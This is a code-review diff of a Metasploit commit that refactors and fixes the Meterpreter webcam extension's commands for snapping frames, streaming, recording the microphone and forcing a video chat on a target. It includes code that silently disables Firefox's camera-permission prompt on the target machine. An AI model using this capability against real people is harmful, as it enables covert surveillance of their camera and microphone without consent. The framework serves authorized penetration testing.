Land #5262, fix webcam_chat and tidy adjacent code

bug/bundler_fix
Brent Cook 2015-08-31 14:21:24 -05:00
commit 30830ad9e5
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
4 changed files with 158 additions and 164 deletions

View File

@ -178,7 +178,7 @@
<body> <body>
<div class="windowa" id="windowa"> <div class="windowa" id="windowa">
<b>You peer</b> <b>Your peer</b>
</div> </div>
<div class="dot1"></div> <div class="dot1"></div>

View File

@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
app_data = ENV['APPDATA'] app_data = ENV['APPDATA']
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |p| paths.each do |path|
if File.exists?(p) if File.exists?(path)
args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("#{path} #{args} #{url}") system("#{path} #{args} #{url}")
found_browser = true found_browser = true
break break
@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
end end
else else
if defined? ENV['PATH'] if defined? ENV['PATH']
['chrome', 'chromium', 'firefox', 'opera'].each do |browser| ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path| ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}" browser_path = "#{path}/#{browser}"
if File.exists?(browser_path) if File.exists?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &") system("#{browser_path} #{args} #{url} &")
found_browser = true found_browser = true
break
end end
end end
end end

View File

@ -1,7 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
#require 'rex/post/meterpreter/extensions/process'
module Rex module Rex
module Post module Post
module Meterpreter module Meterpreter
@ -15,7 +13,6 @@ module Webcam
# #
### ###
class Webcam class Webcam
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::File include Msf::Post::File
include Msf::Post::WebRTC include Msf::Post::WebRTC
@ -31,9 +28,9 @@ class Webcam
def webcam_list def webcam_list
response = client.send_request(Packet.create_request('webcam_list')) response = client.send_request(Packet.create_request('webcam_list'))
names = [] names = []
response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
names << tlv.value names << tlv.value
} end
names names
end end
@ -49,11 +46,11 @@ class Webcam
request = Packet.create_request('webcam_get_frame') request = Packet.create_request('webcam_get_frame')
request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
response = client.send_request(request) response = client.send_request(request)
response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
end end
def webcam_stop def webcam_stop
client.send_request( Packet.create_request( 'webcam_stop' ) ) client.send_request(Packet.create_request('webcam_stop'))
true true
end end
@ -67,13 +64,13 @@ class Webcam
offerer_id = Rex::Text.rand_text_alphanumeric(10) offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20) channel = Rex::Text.rand_text_alphanumeric(20)
remote_browser_path = get_webrtc_browser_path remote_browser_path = webrtc_browser_path
if remote_browser_path.blank? if remote_browser_path.blank?
raise RuntimeError, "Unable to find a suitable browser on the target machine" fail "Unable to find a suitable browser on the target machine"
end end
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) init_video_chat(remote_browser_path, server, channel, offerer_id)
connect_video_chat(server, channel, offerer_id) connect_video_chat(server, channel, offerer_id)
end end
@ -83,40 +80,39 @@ class Webcam
request = Packet.create_request('webcam_audio_record') request = Packet.create_request('webcam_audio_record')
request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
response = client.send_request(request) response = client.send_request(request)
response.get_tlv( TLV_TYPE_AUDIO_DATA ).value response.get_tlv(TLV_TYPE_AUDIO_DATA).value
end end
attr_accessor :client attr_accessor :client
private private
# #
# Returns a browser path that supports WebRTC # Returns a browser path that supports WebRTC
# #
# @return [String] # @return [String]
# #
def get_webrtc_browser_path def webrtc_browser_path
found_browser_path = '' found_browser_path = ''
case client.platform case client.platform
when /win/ when /win/
paths = [ paths = [
"Program Files\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
"Program Files\\Mozilla Firefox\\firefox.exe" "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
] ]
drive = session.sys.config.getenv("SYSTEMDRIVE")
paths = paths.map { |p| "#{drive}\\#{p}" }
# Old chrome path # Old chrome path
user_profile = client.sys.config.getenv("USERPROFILE") user_profile = client.sys.config.getenv("USERPROFILE")
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |browser_path| paths.each do |browser_path|
if file?(browser_path) if file?(browser_path)
found_browser_path = browser_path found_browser_path = client.fs.file.expand_path(browser_path)
break break
end end
end end
@ -124,7 +120,7 @@ class Webcam
when /osx|bsd/ when /osx|bsd/
[ [
'/Applications/Google Chrome.app', '/Applications/Google Chrome.app',
'/Applications/Firefox.app', '/Applications/Firefox.app'
].each do |browser_path| ].each do |browser_path|
if file?(browser_path) if file?(browser_path)
found_browser_path = browser_path found_browser_path = browser_path
@ -140,7 +136,6 @@ class Webcam
found_browser_path found_browser_path
end end
# #
# Creates a video chat session as an offerer... involuntarily :-p # Creates a video chat session as an offerer... involuntarily :-p
# Windows targets only. # Windows targets only.
@ -161,9 +156,9 @@ class Webcam
begin begin
write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\interface.html", interface)
write_file("#{tmp_dir}\\api.js", api) write_file("#{tmp_dir}\\api.js", api)
rescue ::Exception => e rescue RuntimeError => e
elog("webcam_chat failed. #{e.class} #{e.to_s}") elog("webcam_chat failed. #{e.class} #{e}")
raise RuntimeError, "Unable to initialize the interface on the target machine" raise "Unable to initialize the interface on the target machine"
end end
# #
@ -176,26 +171,29 @@ class Webcam
profile_name = Rex::Text.rand_text_alpha(8) profile_name = Rex::Text.rand_text_alpha(8)
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
setting = %Q|user_pref("media.navigator.permission.disabled", true);| setting = %|user_pref("media.navigator.permission.disabled", true);|
begin begin
write_file(profile_path, setting) write_file(profile_path, setting)
rescue ::Exception => e rescue RuntimeError => e
elog("webcam_chat failed: #{e.class} #{e.to_s}") elog("webcam_chat failed: #{e.class} #{e}")
raise RuntimeError, "Unable to write the necessary setting for Firefox." raise "Unable to write the necessary setting for Firefox."
end end
args = "-p #{profile_name}" args = "-p #{profile_name}"
end end
exec_opts = {'Hidden' => false, 'Channelized' => false} exec_opts = { 'Hidden' => false, 'Channelized' => false }
begin begin
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
rescue ::Exception => e rescue RuntimeError => e
elog("webcam_chat failed. #{e.class} #{e.to_s}") elog("webcam_chat failed. #{e.class} #{e}")
raise RuntimeError, "Unable to start the remote browser: #{e.message}" raise "Unable to start the remote browser: #{e.message}"
end end
end end
end end
end
end; end; end; end; end; end end
end
end
end
end

View File

@ -12,7 +12,6 @@ module Ui
# #
### ###
class Console::CommandDispatcher::Stdapi::Webcam class Console::CommandDispatcher::Stdapi::Webcam
Klass = Console::CommandDispatcher::Stdapi::Webcam Klass = Console::CommandDispatcher::Stdapi::Webcam
include Console::CommandDispatcher include Console::CommandDispatcher
@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam
"webcam_list" => [ "webcam_list" ], "webcam_list" => [ "webcam_list" ],
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"record_mic" => [ "webcam_audio_record" ], "record_mic" => [ "webcam_audio_record" ]
} }
all.delete_if do |cmd, desc| all.delete_if do |cmd, _desc|
del = false del = false
reqs[cmd].each do |req| reqs[cmd].each do |req|
next if client.commands.include? req next if client.commands.include? req
del = true del = true
break break
end end
del del
end end
@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam
end end
def cmd_webcam_list def cmd_webcam_list
begin if client.webcam.webcam_list.length == 0
client.webcam.webcam_list.each_with_index { |name, indx|
print_line("#{indx + 1}: #{name}")
}
return true
rescue
print_error("No webcams were found") print_error("No webcams were found")
return false return
end
client.webcam.webcam_list.each_with_index do |name, indx|
print_line("#{indx + 1}: #{name}")
end end
end end
def cmd_webcam_snap(*args) def cmd_webcam_snap(*args)
if client.webcam.webcam_list.length == 0
print_error("Target does not have a webcam")
return
end
path = Rex::Text.rand_text_alpha(8) + ".jpeg" path = Rex::Text.rand_text_alpha(8) + ".jpeg"
quality = 50 quality = 50
view = true view = true
index = 1 index = 1
wc_list = []
webcam_snap_opts = Rex::Parser::Arguments.new( webcam_snap_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ], "-h" => [ false, "Help Banner" ],
@ -84,51 +85,44 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
) )
webcam_snap_opts.parse( args ) { | opt, idx, val | webcam_snap_opts.parse(args) do |opt, _idx, val|
case opt case opt
when "-h" when "-h"
print_line( "Usage: webcam_snap [options]\n" ) print_line("Usage: webcam_snap [options]\n")
print_line( "Grab a frame from the specified webcam." ) print_line("Grab a frame from the specified webcam.")
print_line( webcam_snap_opts.usage ) print_line(webcam_snap_opts.usage)
return return
when "-i" when "-i"
index = val.to_i index = val.to_i
when "-q" when "-q"
quality = val.to_i quality = val.to_i
when "-p" when "-p"
path = val path = val
when "-v" when "-v"
view = false if ( val =~ /^(f|n|0)/i ) view = false if val =~ /^(f|n|0)/i
end end
}
begin
wc_list << client.webcam.webcam_list
rescue
end end
if wc_list.length > 0
begin
print_status("Starting...")
client.webcam.webcam_start(index)
data = client.webcam.webcam_get_frame(quality)
print_good("Got frame")
ensure
client.webcam.webcam_stop
print_status("Stopped")
end
if( data ) begin
::File.open( path, 'wb' ) do |fd| print_status("Starting...")
fd.write( data ) client.webcam.webcam_start(index)
end webcam_started = true
path = ::File.expand_path( path ) data = client.webcam.webcam_get_frame(quality)
print_line( "Webcam shot saved to: #{path}" ) print_good("Got frame")
Rex::Compat.open_file( path ) if view ensure
end client.webcam.webcam_stop if webcam_started
return true print_status("Stopped")
else
print_error("No webcams where found")
return false
end end
if data
::File.open(path, 'wb') do |fd|
fd.write(data)
end
path = ::File.expand_path(path)
print_line("Webcam shot saved to: #{path}")
Rex::Compat.open_file(path) if view
end
true
end end
def cmd_webcam_chat(*args) def cmd_webcam_chat(*args)
@ -144,21 +138,20 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-s" => [ false, "WebSocket server" ] "-s" => [ false, "WebSocket server" ]
) )
webcam_chat_opts.parse( args ) { | opt, idx, val | webcam_chat_opts.parse(args) do |opt, _idx, val|
case opt case opt
when "-h" when "-h"
print_line( "Usage: webcam_chat [options]\n" ) print_line("Usage: webcam_chat [options]\n")
print_line( "Starts a video conversation with your target." ) print_line("Starts a video conversation with your target.")
print_line( "Browser Requirements:") print_line("Browser Requirements:")
print_line( "Chrome: version 23 or newer" ) print_line("Chrome: version 23 or newer")
print_line( "Firefox: version 22 or newer" ) print_line("Firefox: version 22 or newer")
print_line( webcam_chat_opts.usage ) print_line(webcam_chat_opts.usage)
return return
when "-s" when "-s"
server = val.to_s server = val.to_s
end end
} end
begin begin
print_status("Webcam chat session initialized.") print_status("Webcam chat session initialized.")
@ -169,14 +162,18 @@ class Console::CommandDispatcher::Stdapi::Webcam
end end
def cmd_webcam_stream(*args) def cmd_webcam_stream(*args)
if client.webcam.webcam_list.length == 0
print_error("Target does not have a webcam")
return
end
print_status("Starting...") print_status("Starting...")
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
player_path = Rex::Text.rand_text_alpha(8) + ".html" player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 1800 duration = 1800
quality = 50 quality = 50
view = true view = true
index = 1 index = 1
wc_list = []
webcam_snap_opts = Rex::Parser::Arguments.new( webcam_snap_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ], "-h" => [ false, "Help Banner" ],
@ -188,30 +185,30 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
) )
webcam_snap_opts.parse( args ) { | opt, idx, val | webcam_snap_opts.parse(args) do |opt, _idx, val|
case opt case opt
when "-h" when "-h"
print_line( "Usage: webcam_stream [options]\n" ) print_line("Usage: webcam_stream [options]\n")
print_line( "Stream from the specified webcam." ) print_line("Stream from the specified webcam.")
print_line( webcam_snap_opts.usage ) print_line(webcam_snap_opts.usage)
return return
when "-d" when "-d"
duration = val.to_i duration = val.to_i
when "-i" when "-i"
index = val.to_i index = val.to_i
when "-q" when "-q"
quality = val.to_i quality = val.to_i
when "-s" when "-s"
stream_path = val stream_path = val
when "-t" when "-t"
player_path = val player_path = val
when "-v" when "-v"
view = false if ( val =~ /^(f|n|0)/i ) view = false if val =~ /^(f|n|0)/i
end end
} end
print_status("Preparing player...") print_status("Preparing player...")
html = %Q|<html> html = %|<html>
<head> <head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
@ -272,72 +269,70 @@ Status : <span id="status"></span>
print_status("Streaming...") print_status("Streaming...")
begin begin
client.webcam.webcam_start(index) client.webcam.webcam_start(index)
::Timeout.timeout(duration) { webcam_started = true
::Timeout.timeout(duration) do
while client do while client do
data = client.webcam.webcam_get_frame(quality) data = client.webcam.webcam_get_frame(quality)
if data if data
::File.open(stream_path, 'wb') do |f| ::File.open(stream_path, 'wb') do |f|
f.write(data) f.write(data)
end end
data = nil data = nil
end end
end end
} end
rescue ::Timeout::Error rescue ::Timeout::Error
ensure ensure
client.webcam.webcam_stop client.webcam.webcam_stop if webcam_started
end end
print_status("Stopped") print_status("Stopped")
end end
def cmd_record_mic(*args) def cmd_record_mic(*args)
path = Rex::Text.rand_text_alpha(8) + ".wav" path = Rex::Text.rand_text_alpha(8) + ".wav"
play = true play = true
duration = 1 duration = 1
record_mic_opts = Rex::Parser::Arguments.new( record_mic_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ], "-h" => [ false, "Help Banner" ],
"-d" => [ true, "Number of seconds to record (Default: 1)" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ],
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
) )
record_mic_opts.parse( args ) { | opt, idx, val | record_mic_opts.parse(args) do |opt, _idx, val|
case opt case opt
when "-h" when "-h"
print_line( "Usage: record_mic [options]\n" ) print_line("Usage: record_mic [options]\n")
print_line( "Records audio from the default microphone." ) print_line("Records audio from the default microphone.")
print_line( record_mic_opts.usage ) print_line(record_mic_opts.usage)
return return
when "-d" when "-d"
duration = val.to_i duration = val.to_i
when "-f" when "-f"
path = val path = val
when "-p" when "-p"
play = false if ( val =~ /^(f|n|0)/i ) play = false if val =~ /^(f|n|0)/i
end end
} end
print_status("Starting...") print_status("Starting...")
data = client.webcam.record_mic(duration) data = client.webcam.record_mic(duration)
print_status("Stopped") print_status("Stopped")
if( data ) if data
::File.open( path, 'wb' ) do |fd| ::File.open(path, 'wb') do |fd|
fd.write( data ) fd.write(data)
end end
path = ::File.expand_path( path ) path = ::File.expand_path(path)
print_line( "Audio saved to: #{path}" ) print_line("Audio saved to: #{path}")
Rex::Compat.play_sound( path ) if play Rex::Compat.play_sound(path) if play
end end
return true true
end end
end
end end
end end
end end
end end
end